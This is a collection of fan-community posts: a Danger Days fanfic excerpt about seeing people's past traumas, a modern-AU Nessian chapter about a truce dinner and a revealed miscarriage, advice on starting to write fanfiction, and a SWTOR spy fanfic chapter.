#it was always just a portion of a larger document i have written

[mychemicalaromanticism]

He gets a chance to guess when he meets a man with fiery hair and a white leather jacket.

Val Velocity is constantly tense, with crossed arms and an ever-present furrow to his brow. He is distrustful and bitter, but his crew doesn't seem too bothered about it. They talk and play around him with comfort that only comes from a strong bond. Cherri notices the empty space they still subconsciously leave in their circles, and a purple mohawk flickers in and out of his vision.

He doesn't make the connection immediately. He gets flashes that don't mean anything to him; a slightly younger Val with solid blonde hair, no jacket, and an empty expression on his face; a young child holding what could only be a Scarecrow's hand. Val was a guarded person, inside and out. Cherri was visiting the Diner when he first had the thought.

Kobra was laying in the pile of pillows and blankets that lived on the cafeteria floor, inspecting his arms with a bored expression. "Oh, yeah, Val totally- Val totally, uh, totally freaked it on Ghoul last week."

Cherri raised an eyebrow, leaning a little more on his hand from his seat at a booth. "Did he, now?"

"Yeah, he like- like, shoved him. Knocked him over. Knocked him over." His face didn't change.

"Did they deserve it?" Fun Ghoul was known to be annoying, known to enjoy being annoying. It was still surprising to hear that Val had succeeded in knocking them over, if that was true. He must have pushed them pretty hard.

"Yyyyyeah. I guess." Kobra rolls onto his side, facing Cherri. He stretches his arms over his head lazily, making his face squish against a pillow. "Ghoul was all up- all in his space, in his space with- with his arms around him 'n shit. Guess it freaked him out," comes his mumbled reply. He smirks. “Party punched- punched him in the face, though.”

Cherri smothers his first thought, his brain's desperate attempt to find and connect with people like him. No one likes being grabbed. Val's especially hot-headed. He wills himself to stop thinking about the way Val distances himself, the way he clings to his jacket like it's his only defense against the world, the way he apparently reacts violently to touch, to being restrained.

"You good?" Kobra asks. Cherri snaps back to attention, focusing on Kobra's repeated question. He gives a weak "Yeah" and a thumbs up. An echo appears standing just behind Kobra, a kid with short brown hair and glasses wearing a plain red long sleeve shirt and jeans. The most generic, ordinary child Cherri could probably imagine, but his face is tensed in suppressed anxiety. He feels a pang of regret for whatever memory he's triggered for Kobra and tries to look more relaxed. The echo disappears, and Kobra starts talking about his and Ghoul's latest adventures in rewiring C.A.T.

None of the Four seemed too concerned with the altercation. It happened, it ended, and people moved on. Even Party, who was the most upset with Val, had dropped the subject. And then the next time he sees them, Ghoul tells him about Val’s apology and that Vinyl likes to cook. Cherri can’t see anything on Val. His crewmates flicker with memories and apparitions around him and his form is unwavering, stubbornly locked down.

Cherri’s sitting in the Diner again. The Girl is on the floor next to the booth he’s in, playing a card game with Jet and Vamos. Party and Kobra are talking over each other with Vaya while Ghoul sits off to the side interjecting every so often.

Val is sitting where he always does, on the barstool against the wall and closest to the door. He’s accompanied by Vinyl this time, talking to him quietly.

The Girl leans back, pressing her head into Cherri’s thigh. “Hey. It’s not cheating to hide how many cards I have, is it?”

“It totally fucking is!” Jet exclaims.

“But we’re supposed to hide them in the first place!”

“We still need to know how many you have!”

Cherri puts a hand on The Girl’s head and ruffles her hair absent-mindedly. “What are you even playing?”

“Uno,” The Girl says, leaning into Cherri’s touch.

Jet throws his arms up, exasperated. “The game where card count matters, it’s called Uno, for fuck’s sake!” Vamos snickers as he stops to catch his breath.

A foreboding feeling fizzles along Cherri’s skin, and he looks up. Val is glaring daggers at him. He startles and leans behind Vinyl when Cherri catches him.

“I think you’re cheating, Girlie,” Cherri concedes, taking his hand off of The Girl’s head and trying to shake off the sick feeling that’s come over him. The three players seem satisfied with his answer, The Girl muttering under her breath but still pulling her cards from under her thigh, and the game continues. Anyone paying attention to the discussion goes back to their activities, and Cherri stares forward at the space behind Val.

There’s an echo, a Val slightly shorter but so much younger than the one sitting at the bar. His hair is solid blonde and the same length, but shaggy in an unintentional way that makes him look more disheveled than wild-hearted. He’s missing his leather jacket, a plain blue t-shirt in its place, and jeans that probably came with him from the City.

His eyes are red-rimmed with fresh exhaustion and he has small, rounded, dark red and purple marks along his neck.

The impressions, the echoes, whatever Cherri wants to call the visions he receives when looking at people, he learns to decipher and interpret them. He can tell if someone carries the grief of a long-dead family member, he can tell when someone has experienced a significant feeling of being out of control. He can tell when someone is haunted by their past, and he can make a good guess as to what's haunting them. It comes to him in gut feelings, in the shifts in the air when people get lost in thought. It comes to him in images- ghostly glimpses into the past that cling and drag behind a person.

He tries not to stare when they appear. They aren't ghosts, not in the traditional sense, but accidentally making eye contact with them when they aren't even aware of their existence is unsettling to say the least. Most of the time they just stand there, stuck on loop in whatever moment they manifested from. He's seen too many battered children to ever sleep well again.

They're not all bad, of course. He'll see a child holding a toy that must have been important to them. Or someone with a fresh haircut and dye, dressed extravagantly with a gleam in their eyes. He's even seen a second figure accompanying some echoes- a family member, a friend, a teacher, he presumes. Someone important enough to appear alongside their memory.

He wonders, sometimes, what his own echoes look like.

[theladyofdeath]

Life As We Know It {Chapter 12}

Summary: After the sudden deaths of Nesta’s sister and Cassian’s best friend, they gain guardianship of their nephew, Nyx.

Based on Life As We Know It (2010) and a prompt sent in by anonymous for our Nessian fanfic contest. This is a modern au.

Instead of doing a tag list for this story, we have decided to have a set posting schedule. Chapters will be posted weekly on Mondays and Thursdays. Chapters will be posted on both my and Shelby's blogs! >> @snelbz​

Life As We Know It Masterlist

Shelby’s Masterlist

Tara’s Masterlist

* In case you missed the announcement - we will now be posting chapters 3 days a week! Mondays, Wednesdays, and Saturdays. We hope you continue to enjoy the story! 

** Trigger warning: Miscarriage. 

This chapter is legit a roller coaster, ngl. Enjoy. ;)

“You don’t have to do this, you know.”

Nesta stood in the living room of Elain’s house with Nyx on her hip, feeling guilty for dropping Nyx off for the night even though Elain was the one to offer. 

“I know I don’t have to, but I want to. Gives these little cousins some bonding time.” She reached out and took Nyx’s chubby little hand. “Besides, you and Cassian both need time to recoup.”

She wasn’t about to deny that. It had been a week since her not-date with Balthazar, a week since she and Cassian had uttered more than passing comments on how Nyx had acted throughout the day to each other.

Every time she looked at him, she found him already watching her and the fact got under her skin.

It became an unspoken thing that whenever she cooked dinner, she would make an extra helping and put it in the fridge for him. Not because she felt like she needed to, but because it made her feel better about their awkward arrangement. The longer time went on, the more she realized that as much as she’d been acting like taking care of Nyx together was a death sentence to her social life, he was going through the same thing.

And when she got home, she planned on making dinner for the two of them to share together. A sort of white flag of truce between them.

It was the least she could do. “Call me the second something happens-.”

“We’ll be fine,” Elain said, taking Nyx from Nesta and kissing her sister’s cheek. “Now, go. Relax. Take a bubble bath with some wine or something. Read one of those filthy books you used to hide in your closet.”

Nesta’s eyes narrowed.

Elain’s smile widened.

After a tough goodbye, Nesta was heading toward her car and driving back home, making a quick stop at the grocery store just around the corner.

She quickly got all of her fixins, prepared to make one of her favorites - salmon, rice, and green beans. A glance at the calendar that morning told her he would probably be home around five, which gave her just under two hours to make dinner. Easily doable, she’d made three-course meals in less time, for much harsher customers.

Yet she couldn’t figure out why her stomach was in knots.

*

When Cassian came home, he opened the front door and froze. The quiet in the house unnerved him. Usually, there was some random white noise to fill the house, whether that was the television or one of Nyx’s inane toys that distracted him so well. But as he walked through the house, the TV wasn’t on and he couldn’t hear much of anything.

Until he heard a throat clear from the kitchen.

Instantly, Cassian was on alert, not liking the sound at all, recognizing who it had belonged to, but silently, he made his way into the kitchen.

Nesta was sitting at the table, a plate of food in front of her, with an identical one at the spot he typically sat in.

“What’s…going on?�� He asked, slowly taking another few steps into the kitchen.

Nesta stood and grabbed a beer out of the fridge, before taking it back over to where he hovered between the table and the doorway. She held the cold bottle out to him. “This is a truce.”

“A tru-?” He took it, but shook his head, not quite understanding her. “Where’s Nyx?”

“He is having a sleepover with Seph, Elain and Azriel. Elain wanted us to have a night off,” she said, sitting back down at her seat. “So I made us dinner.”

“You made us dinner?” he repeated, staring at the plates. “For the two of us to have? Together? At the same table?”

Nesta’s eyes narrowed. “Yes, unless you don’t want it.”

Cassian cleared his throat as he pulled the chair out across from her and popped open his beer. “I won’t turn down free food. Especially when it’s made by an expert.” 

Nesta said nothing more as she cut into her salmon. “An expert?”

“You get paid for cooking,” Cassian said, picking up his fork and collecting a pile of green beans. “That makes you an expert. A professional.”

“This is a lot of compliments,” she said, watching him carefully as he ate.

“Maybe I’m jumping on board with this whole truce thing,” he said, mouth full of food.

Nesta wanted to chastise him about his manners, but bit her tongue. “You weren’t on board with it to begin with?”

He chewed slowly and then set his fork down. “Neither of us have…handled this very well,” he admitted, taking a drink from his beer. “And I’m willing to take a portion of the blame, but not all of it.”

Nesta weighed his words carefully. They were blunt, but not untrue. Sure, he’d acted like an ass many times, but she had only responded in kind. She knew she could be a bitch, and she knew she did it well. Sometimes too well.

“For this to be an official truce,” she began, holding her wine glass in her hand, swirling it once, twice, “there has to be terms we both agree on.” His eyebrows raised, but she pressed on before he could speak. “Mine are that we have to communicate. When you get frustrated or pissed at me, you can’t just bottle everything up until it all explodes. And when I get overwhelmed, I promise not to snap at you or act like such a…”

“A bitch?” He provided, when she stumbled over her words, smiling around the beer bottle pressed to his lips.

She wasn’t able to stop the smile growing on her own face, as she said, “Thank you, asshole. But yes. Those are my terms.”

He took a drink and nodded. “Okay. I think I can handle those.”

“And what are your terms?” She asked, cutting into the flaky fish for another bite.

He was quiet for a moment, debating. Nesta took a sip from her wine glass while she waited, watching as thought after thought passed across his face.

“I want to get to know you,” he said, finally. “I want to know who you are and I want you to know me.”

Nesta cocked her head to the side. It was a simple request, but Nesta wasn’t exactly good at allowing people to get to know rher. “And how do you suppose we do that?”

“A simple conversation will do,” he said, shrugging. “Over salmon and alcohol. Mostly alcohol.” He reached across the small table and picked up her wine bottle, filling up her wine glass to the brim. 

“Getting me drunk so that I open up?” Nesta asked, sipping from that wine glass.

Cassian chuckled. “I would never.”

She watched her for a second, before taking another larger drink and setting it down. “Fine. Then it’s a truce.” He smirked, glancing over the table between them and then leaned over to look on the counter. “What?”

“I’m just looking for an official notice.” His smirk grew into an all out grin. “Something to sign. I figured you’d called up Tarquin and had some official documents written up.”

“You think you’re so funny.” She rolled her eyes and he chuckled, reaching an open hand across the table.

“Truce,” he said, taking her hand in his. They shook once, and Cassian was struck by how much smaller her hand was than his, yet by how firm her grip was. It was an impressive, professional handshake.

“So what do you want to know?” She asked, scooping some rice onto her fork and getting a bite of fish to go along with it.

His eyes narrowed as he thought about it and she began to wonder whether they should have laid down some boundaries. But he asked, “You went to the University of Velaris, right? What did you study there?”

Nesta blinked in surprise, not having expected the question. “Business and marketing.”

Chewing slowly, Cassian raised an eyebrow. “Nothing culinary?”

She shook her head. “No, I liked cooking, but I never thought it would become my career. I majored in business and marketing, with a minor in communications.”

“That sounds…” He fought for the words for a second. “Boring.”

Taking a drink of her wine, Nesta chuckled. “Oh, it was,” she admitted. “The longest four years of my life, but I’ve got the pretty, little diploma with my name written on it to show for them.”

“And how did you learn about food? How to cook?”

She shrugged. “I taught myself. I graduated college and had no idea what I wanted to do with my life. I got a data entry job at a marketing firm and spent my free time in the kitchen, trying and testing and tasting.” She paused, and her eyes fell to her plate. “Before my dad died, he listened to my idea about starting a small restaurant, with a few of my favorite recipes on the menu. He left me the money to do it in his will.”

“And now?” he pressed, although his voice held a certain gentleness. “Are you successful and thriving?”

Nesta snorted. “I make enough to live and pay the few of servers I have. If that’s successful, then I suppose.”

Cassian nodded in appreciation. “I’d say it is. What about the future? Bigger restaurant? Multiple restaurants?” 

“Someday,” Nesta said, with a longing in her voice. “And what about you? And your guitars? Surely you don’t want to be a bartender forever.”

Cassian shrugged. “I don’t mind the bartending. Good tips and I meet a lot of interesting people.”

“But?” Nesta asked. 

“But,” Cassian repeated, huffing a laugh. “I don’t know. I wouldn’t exactly say that managing a bar is my passion.” 

“So, guitars then?” Nesta asked, brow raised. “You’re really talented. Your guitars are beautiful.”

Cassian’s eyes shot to hers, wide as he slowly set down his fork. “Holy shit, did you just compliment me?”

Nesta’s lips pursed as she kicked his shin under the table.

“I’ve always been good with my hands. Not like that,” he said, pointing at her when he saw the smirk growing. “I mean, creating things, playing instruments, even something as mundane as making drinks. If it’s something I can do with my hands, I typically love it and nine times out of ten, I’m good at it.” There was none of the cockiness she’d come to know in his voice. Just pure explanation, and a bit of devotion. “I’ve tried my hand at making furniture and little knickknacks, but there’s nothing that compares to building an instrument from scratch.”

“And you do it all? Yourself?” She asked, taking another bite.

He nodded. “I start with a few rough pieces of wood. Sand it, stain it, and boom, brand new guitar.”

Snorting, she lifted her wine glass to her lips. “I think you may have missed a few steps in there.”

“Well, I didn’t want to bore you,” he chuckled.

“How long have you been playing guitar?” Nesta asked, finishing off the last of her food.

Cassian took a minute to think about it, then shrugged, finishing off his beer. “As long as I can remember. I grew up with my mom in Illyria. They live simply up there. Music is…a way of life. It grew on me quickly. Mom bought me my first guitar that a friend of hers had made before I could even walk.”

Nesta chuckled, quietly. “Just like you did for Nyx.”

Cassian nodded. “Yeah, I guess so. Another drink?” he asked, nodding toward her emptied glass.

“Sure,” she said. “But, wine is gone. I think there’s some tequila in the cabinet.”

Cassian lifted a brow as he rose. “Tequila?”

Nesta grinned as he went to the cabinet. “Make me a drink, bartender?”

Cassian laughed as he grabbed the glass bottle from the cabinet. “I can. What’ll it be? Tequila sunrise? Margarita? Pretty sure we have some lime juice, somewhere.”

“I’m not picky,” Nesta promised.

She heard him laugh. “Somehow, I have a hard time believing that, Archeron.”

“Only where it counts,” she replied, smiling at him. She picked up their empty plates and rinsed them off, loading them into the dishwasher. Turning, she found him setting a shot glass with salt on the rim down on the counter. She chuckled. “That’s not what I asked for.”

“First of all, you technically didn’t ask for anything in particular,” he said, pointing at her as he crossed the kitchen and opened the fridge. “Secondly, this is the most classic drink I can make you with tequila. It’s the oldest recipe in the books.”

She outright laughed. “That’s cause it’s just straight tequila.”

“Exactly,” he grinned and damn it, if her heart didn’t skip a beat. “I lied, no lime juice.”

“Fine,” she said, crossing her arms. “But if I’m doing sloppy shots, you’re joining me.”

“Oh, I never say no to shots,” he said, grabbing another from the cabinet. 

He filled them up, and slid one to Nesta, who took the glass in her hand and held it up.

Cassian clinked his against hers, and they tossed them back. 

Nesta’s face didn’t change a bit, and Cassian met her steady eyes. “Impressive.” 

“Not my first tequila shot, Nazari,” she said, hopping up to sit on the counter. “What else do you want to ask me?”

He leaned down on the countertop, letting his arms lay flat. “Hmm.” He let his fingers drum quietly. “What did you want to be when you grew up? Or was it always a chef?”

She scrunched up her nose. “I was convinced I was going to be a doctor, I wanted to help people. But then I found out how many years of school was required to be a doctor. So I decided I wanted to be a nurse.”

Cassian carefully poured a couple more shots. “And what happened to that dream?”

“I found out that the sight of blood makes me queasy. Sometimes I throw up, sometimes I pass out.”

He laughed. “That seems like enough to throw off a career plan.”

“Yep,” she admitted, picking her wine glass up.

Cassian filled up the shot glasses, once more, and slid hers back to her. She set down her wine glass and snorted as she tossed it back.

“You know what we should do?” Nesta asked, and Cassian lifted a brow in question. “Go for a swim. We’ve been here over a month and have yet to use the pool that I’ve been cleaning, daily.”

Cassian took his shot before watching her, closely. “Last one in has to share their deepest, darkest secret.”

Nesta scoffed. “What are we, children?”

Cassian grinned as he pushed himself back from the counter. “Scared of a little competition? Afraid to lose?”

They stared at each other in silence for a minute before Nesta jumped off the counter, and ran up the stairs to throw on her swimsuit.

Cassian and his heavy footsteps were close behind.

It took her a few minutes to remember where her swimsuits had been packed, and from the slamming of drawers down the hall, it seemed Cassian was in a similar predicament. She finally found a two piece stuffed in the back of her underwear drawer, not exactly what she had been looking for, and hesitated before stripping down and pulling the bottoms on. Nesta was out her bedroom door before she even had the top fully tied, pulling it into a hastily tied bow behind her back. Her feet carried her as she flew down the stairs, but she froze when she opened the sliding glass door and found him already in the water.

He grinned from where he had his muscular arms resting on the side of the pool, and his hair was soaked, pushed back off of his face. With the wide smile on his face, he looked so much younger, almost boyish.

With a sigh, Nesta turned and walked back into the kitchen, grabbing a couple beers in each hand and made her way back onto the lit up patio.

“I win,” he said, smirking up at her.

The tongue she stuck out at him wasn’t her most quick witted response, but she was trying not to let her eyes drift beneath the water. When she suggested the pool, she hadn’t been thinking of how much skin would be on display, for either of them.

“That’s because you only had one piece to put on,” Nesta said, sitting near him by the edge and handing him a drink.

“Hey, if you only wanted to put on one of those pieces, I wouldn’t have stopped you,” he protested, and Nesta had to hide the way his suggestive tone, those words, made her blush. 

He didn’t seem to notice. Instead, he popped open his beer and took a long, slow drink.

“So how about that secret?” He asked, voice lowering. 

“Hmmm,” she crooned, tapping her chin. “Which to share when I have so many to choose from?”

Cassian chuckled. “You would have an endless string of secrets. Come on, what skeletons are in your closet? Something you’ve never told anyone else.”

Nesta had a lot of those, too. She wasn’t exactly the “open” type.

There was one true secret she kept though. One that no one else had known, not even Feyre or Elain. Just her and…

She hesitated and he looked up at her, caught the look on her face. “What?”

Shaking her head, she said, “I don’t want to kill the mood.”

The hand holding the bottle was right next to her thigh, and he let his pinky skim over her skin. “That kind of secret, huh?”

She gnawed into her lip, nodding.

“I’ll tell you mine, if it helps,” Cassian said, looking up into her face.

She slipped into the pool, thankful the water was warm, and shook her head. “That wasn’t our agreement.”

He stayed quiet, letting her process her own thoughts.

Sinking beneath the water, Nesta re-emerged, slicking her hair back. After a steadying breath, she said, “I’m sure you remember Tomas, my ex who interrupted our date?”

The mention of their date surprised Cassian, after so many weeks of them dancing around it. He nodded.

“We were together for a long time, you know? All through college.” She wasn’t looking at him, wouldn’t meet his eye. “I got pregnant just after our senior year. I had never wanted kids, you know? Wasn't the family type, at all. Never saw myself having a family. Anyway,” she continued, shaking her head. “It didn’t matter. I miscarried.”

Cassian continued to look at her, continued to watch as she stared blankly ahead. 

“I got excited about it, too, which is ridiculous,” she went on. “For a moment, for those few weeks that I thought Tomas and I would be starting a family… I actually got excited.”

“How far along were you?” He asked, gently.

She answered immediately, with no hesitation. “Thirteen weeks. It was like one day I was pregnant, carrying our child and the next… The baby was gone.” She was quiet for a moment. “I woke up one morning and there was blood, so much blood. Tom was already at work, so I drove myself to the hospital, but there was nothing they could do.”

Cassian recognized the slow blinking, knew she was reliving those slow, sad moments again.

“I was dying inside, trying to come to terms with the fact that our baby was gone, and Tomas got home and-.” She took a deep breath and looked over at him. “He asked what I was making for dinner. He didn’t even acknowledge that our child was gone and… l guess that’s when I decided to do the same. To pretend nothing happened. We didn’t really talk much about it. We never told our families, I never told Feyre or Elain. Our father died about a month later and it all seemed so insignificant at that point. But Tom and I never recovered, our relationship at least. We broke up a few months later and…” Nesta shrugged. “Life kept going. I decided to open my restaurant and never looked back.”

“I’m sorry,” Cassian said, quietly.

She finally looked at him and shrugged. “It was a long time ago.”

“That doesn’t make it any less painful of a memory,” he countered.

She just nodded. “It’s how it was supposed to be though, right? Wasn't meant to be.”

Cassian took another drink as he nodded, slowly.

“Anyway,” she began, clearing her throat before dunking herself back down under the water.

“Would you like my secret?” He asked, when she turned and rested her arms on the edge of the pool.

She shrugged. “If you feel so inclined. You didn’t lose the bet.”

He leaned back, letting his arms drape across the edge of the pool as well. “When I was eighteen, I broke my back. I decided to take a year off before I started school, and was working construction over the summer to save money. I wanted to travel for a while. But then I took a bad fall off a roof. I spent two weeks in the hospital and then was stuck in my bed for another ten. And Rhys and Az stayed by my side the whole time. They put off their last hoorah vacations before they went off to college to stay with me.”

Nesta’s eyes drifted to Cassian, drops falling from her lashes. “Doesn’t seem like a secret if people know about it.” 

“You didn’t know,” he shot back.

Nesta smiled, but it didn’t quite reach her eyes. “Fair. That sounds awful.”

“It was,” he agreed. “I don’t know if you know this about me, but I don’t like to stay still for very long.”

“Oh, I’ve noticed,” Nesta said, a little spark returning to her eye. “It was torture,” he followed, finishing off his drink. “Not being able to move. I played so many damn board games that I never want to look at one ever again.”

“Even if Nyx asks?” Nesta inquired.

Cassian gave her a lopsided grin. “Well, he’s the exception.” Nesta laughed, and Cassian shook his head. “I’d do anything for that kid. I think Rhys knew that, when he named me godfather.”

She understood that, related to it completely. Especially considering they had been named godparents together, regardless of their mutual distaste for the other. Their love for Nyx, for Rhys and Feyre, had been evident to everyone.

“I miss him,” she admitted, resting her cheek on the concrete. “I know it’s only one night, and I’m beyond appreciative, but… It’s weird not having him right inside.”

He nodded. “I get it. I do, too. I know Az and Elain can take care of him, and I’m sure he had a blast with Seph before they went to bed, but it hasn’t stopped me worrying about him.”

Nesta nodded, stretching her back. She took a drink from her beer. “Did you ever want kids of your own?”

He blew out a harsh breath and drained his own bottle before answering. “I never really considered it much, when I was younger. After my back healed, I was so focused on getting back to life that relationships and dating weren’t high on my priority list-.”

“But fucking was?” Nesta asked, smirking.

He rolled his eyes, nudging her slightly with a shoulder. “Maybe I was interested in sex more than relationships, I’ll admit. But before I knew it, my early twenties had come and gone. Everyone I knew was getting married and had babies on the way and… I was still the one living the bachelor life and decided to just run with it.”

“I get that,” Nesta agreed. “After…everything that happened with Tomas, I never wanted that again. My date with you and my date with Balthazar are the only two proper dates I’ve been on since college.”

Cassian lifted a brow. “And have you been on any improper dates?”

Nesta didn’t answer. Instead, her cheeks turned a soft shade of pink as she finished off her beer.

Cassian’s grin widened. “I never knew you were such a freak, Archeron.”

“Oh, fuck off,” she muttered, which just made him laugh harder. 

“I must admit, it’s nice to hear you talking about our infamous date so often tonight,” Cassian said, pulling himself out of the pool.

Nesta couldn’t help but notice the way his muscles flexed, how the drops of water streamed down his back, between his shoulders, down to his waistline and the swim trunks, which rode low on his hips. She cleared her throat. “I didn’t say anything nice about that date, did I?”

“Absolutely not, but is there really anything nice to say?” he asked, sliding the screen door open. “I mean, you were an absolute nightmare.”

She gawked after him as he went inside, and once he came back with a small pyramid of beer cans, Nesta said, “I was a nightmare? You were a complete disaster!”

He scoffed, setting the cans down and cannon balling back into the pool. Even though she was already in the water, Nesta couldn’t help the squeal that left her. Cassian was grinning when he came up for air. “I forgot my wallet. I fully intended to pay you back, both monetarily and with the best sex you’d ever had in your life, but you decided to get huffy, stomp back to your front door and slam it in my face.”

“Oh, please,” Nesta said, reaching for a can and popping it’s top. Foam erupted from the opening and she put her mouth to it before it could drip into the pool. “You were over twenty minutes late, you wore work boots and a leather jacket to the nicest restaurant in Velaris, and we ran into your fuck buddy.” She drank deeply from the can, emptying it in one go. “As for the best sex I’ve ever had in my life, I’ve become very accustomed to and am just fine with my own hand, so you’re going to have to try pretty hard to do better than I myself can.”

She wiggled her fingers in his face and before she could register what was happening, his hand was wrapped around her own. As if he didn’t already know that. Cassian had caught her getting herself off in the bathtub, a memory that was seared into both of their heads. He tugged her closer and the empty can fell from her hands, floating on top of the water.

“I was talking about the past, sweetheart, but you seem to be talking about the present,” he breathed as her chest brushed against his own. “Who says my offer still stands all these years later?”

“You’d be a fool not to make that offer,” she breathed, and she knew the scent of beer was all he was breathing in. 

“And would you accept it if I were?” he asked, one hand still wrapped around hers, the other snaking its way around her waist. “Still offering?” 

Nesta’s breath hitched as their mouths grew so close, too close, close enough to reach out and taste his lips with a brush of her tongue.

It was tempting.

It would be stupid. Alcohol fogging her brain or not, Nesta knew it would be stupid.

But it was tempting, and in that moment, there were very few things Nesta could think about other than his hands against her skin, his lips a breadth width away from her own, and his cock she could very prominently feel twitching against her thigh. 

Nesta’s lips brushed softly against his as she said, “Try and find out.” 

[paradigmsofbrittaperry]

I have yet to read your fic, but Abed sounds like himself from what I've seen. Good job on that! I have to ask, though, any advice on starting to write? I think a lot about the skeletons of the writing, the plot structure and characters and that. Hell, earlier I typed up a Google Doc full of improvements I'd make to Community for about an hour. I think a lot about how to improve the things I love; you might say I'm an obsessive idealist. Still, while I'm not sure I even want to go about drafting

(pt.2) and writing dialogue and descriptions and all that, some familiarity couldn't hurt. Again, advice?

thank you!! soooo I let this roll around in my brain for a minute and came up with a list of things to help get into writing. I’m by no means a professional or a definitive source, this is just based on my experience of being a part of various creative writing clubs since I was really young, taking classes, and of course, writing fic.

- start small. if you’re brand new to writing that’s not done for school/classes, the best thing to do (in my opinion) would be to take things one step at a time. take an idea you have for a scene between two characters and write it out, even if you’re not sure if you want it to fit into a larger piece or be continued. honestly this is all that a good portion of my fics are; single scenes that I had an idea for and wrote out and published without any extra context. that’s not to say that you can’t start out with your big Community rewrite, but if you’re lost on where to start, start writing out a scene idea that you’re really excited about!

- do some form of planning. I know I’ve talked about how disorganized my writing process is in the past, so this may come across as a bit hypocritcal. but planning doesn’t have to entail filling out a detailed plot diagram. planning can be a single bullet point at the top of a Word document that contains the basic idea of what you want to write. for example, the planning for that work that I was just advertising was simply “OT3 getting called out by Abed, misunderstanding when Jeff gets upset afterwards” and I wrote from there. however, that form of planning doesn’t work for everyone and especially might not be helpful for beginners. a lot of people like creating really detailed outlines of the scenes they want to write and, more or less, filling in the gaps with dialogue and descriptions. for longer projects in particular, it can be really helpful to fill out a plot structure diagram or even Dan Harmon’s story circle, if you’re so inclined. if you’re overwhelmed by the idea of filling one of those out, just write some bullet points! if you think that a few bullet points won’t be enough to help you structure your story, try filling out one of those! every writer’s planning process is unique and what works for one person may not work for another. don’t be afraid to experiment and try out different methods to see what works best for you.

- if you’re brand new to dialogue writing as a whole, try looking up some guides from professionals on how to do it effectively! I’ve referenced this one quite a bit lately while trying to take my dialogue to the next level. one of the benefits of starting out with fanfiction is that you can practice writing dialogue for established characters with established personalities and speech patterns. when I first started writing Jeffbritta fic, for example, I went back and rewatched my favorite episodes that heavily feature them interacting with one another to get a sense of a) how they talk and b) how they talk to each other. turning on captions while watching was also helpful so that I could see their lines in written form and translate that style to my own writing. 

- same goes for descriptions. most writers will say that the hardest part of writing isn’t the big emotional moments or the sudden revelations or anything else that one typically gets excited to write; it’s the mundane actions. it’s the “she stood up and walked over to the door” and “he bent down to tie his shoe” and “she poured herself a glass of lemonade” and everything else like that. it can be hard to describe action in a way that doesn’t feel robotic. however, this is absolutely something that improves with time and experience. this guide isn’t half bad for beginners, though as with dialogue, I would encourage you to go out and read what professional/published authors have to say. 

- know that there are no wrong answers! everyone starts somewhere. at the risk of sounding cliche, writing is an extremely personal thing. everyone has their own way of planning and their own way of drafting and their own way of approaching dialogue and their own vocabulary and their own favorite literature that influences the way that they write and their own life experiences. find authors that you like and incorporate things that you like about their style into yours! try describing how characters look in a few different ways! play with dialogue and character relationships and how you write them interacting! there will always be something that every writer on the planet can improve about their work. but at the end of the day, no matter your perceived skill level or experience or if you keep your writing to yourself or publish it, you can be proud of the fact that it’s yours. creating is a beautiful thing. if writing makes you happy, you don’t have to put any more thought into it than that. for me, writing is a hobby. I write what I enjoy writing and nothing more. that doesn’t mean that I’m not constantly looking for ways to improve my work or that I don’t love getting feedback and sharing it with the world. but I’m not trying to become the next Great American Author, and there’s absolutely no shame in that!

I hope that at least parts of this were somewhat helpful. admittedly, I got a little bit carried away because this is the first time I’ve been asked something like this. my tl;dr is familiarize yourself with the basics of structuring a plot/dialogue/descriptive action, then go forth and create if creating is what makes you happy! 

[greyias]

FIC: Smoke and Mirrors - Chapter 17

Title: Smoke and Mirrors Fandom: SWTOR Pairing: Theron Shan/f!Jedi Knight Rating: T Genre: Pre-Relationship, Slow Burn Synopsis: Something’s rotten on Carrick Station, and Theron won’t rest until he finds out what. But picking at the frayed threads of suspicion quickly unravels a conspiracy much larger than even the Republic’s top spy can handle on his own. (A mostly canon-compliant retelling of the Forged Alliances storyline, as seen through the eyes of Theron Shan.) Author’s Notes and Spoilers: See Chapter 1.

Chapter Index: 01 | 02 | 03 | 04 | 05 | 06 | 07 | 08 | 09 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | Crossposted to AO3

As soon as he was inside the door of his apartment, Theron had the chip out of his pocket and inserted it into his datapad. The first file on it wasn’t any official SIS document at all but apparently a note, written especially for him:

So here I am, minding my own business, when this intel request comes across my desk from none other than your old buddy, Rian Darok. I pulled it, but then I asked myself, what does a SpecOps officer need with this information? From what I can tell, cracking down on cargo smuggling isn’t the highest of priorities for him and his team. I pulled a copy for you too, since you’re so interested in “oddities” right now. I don’t know what you think is going on, but you know this guy has clout right? And not just in SpecOps. Watch yourself. — JB

Theron tried not to roll his eyes as he paged to the next file on the chip. Jonas was a good man to have along on a mission, but sometimes he could get hung up on something. Apparently in this case it was the havoc that Rian Darok could cause for an unsuspecting SIS Agent. Which wouldn’t be a problem, because Theron was suspecting everything right now. Which was probably good for his survival chances in the short term, but would probably give him hypertension if he ever lived long enough to see old age.

He scanned over the pulled file, but as Jonas said it was… just odd.

"Known Smugglers: Inner Rim" was just what it said. A giant list of cargo smugglers that operated in the Inner Rim. And by giant, he meant several thousands names. It would take far too long for him to cross-reference every name by hand. He was going to need to get creative on this.

He sat down at the terminal in his apartment, and began to start typing. The programming required to cross-reference the names against what he knew about the Korriban and Tython ops was complex, and he had to be very careful to hide his trail in case it dinged anything classified. The SIS didn’t keep it’s data on the HoloNet, but it definitely had its own hooks into the system. If he needed to do a deeper search on any of the names of the list, he could do that manually, but he needed to narrow this down to something manageable, otherwise he could be chasing a dead lead for months.

The chronometer had already ticked well past midnight, and he was nearing the end of his coding efforts when his implants alerted him to a new message in his inbox. He finished his train of thought, then pulled away from the data terminal, feeling his muscles protest at the motion after being hunched into one position for so long. Scooping up his forgotten datapad, he opened up his inbox to see who had written.

To: Theron Shan From: Greyias Highwind Subject: Late Reply

I must apologize for the delayed reply. Our latest mission hit a slight snag, and I only now have had time to catch up on my correspondence. Barnaba is a very lovely travel spot, as long as you don’t mind the occasional internal spat between royal houses. Kira wants to buy a timeshare here. She says that it would be a fun vacation spot. I tried to remind her we don’t collect a salary (as you accurately pointed out), but Doc nixed the idea before I could, saying this visit gave him too much work already and doesn’t want any more gray hairs. He can be a bit vain at times but is probably right in this case.

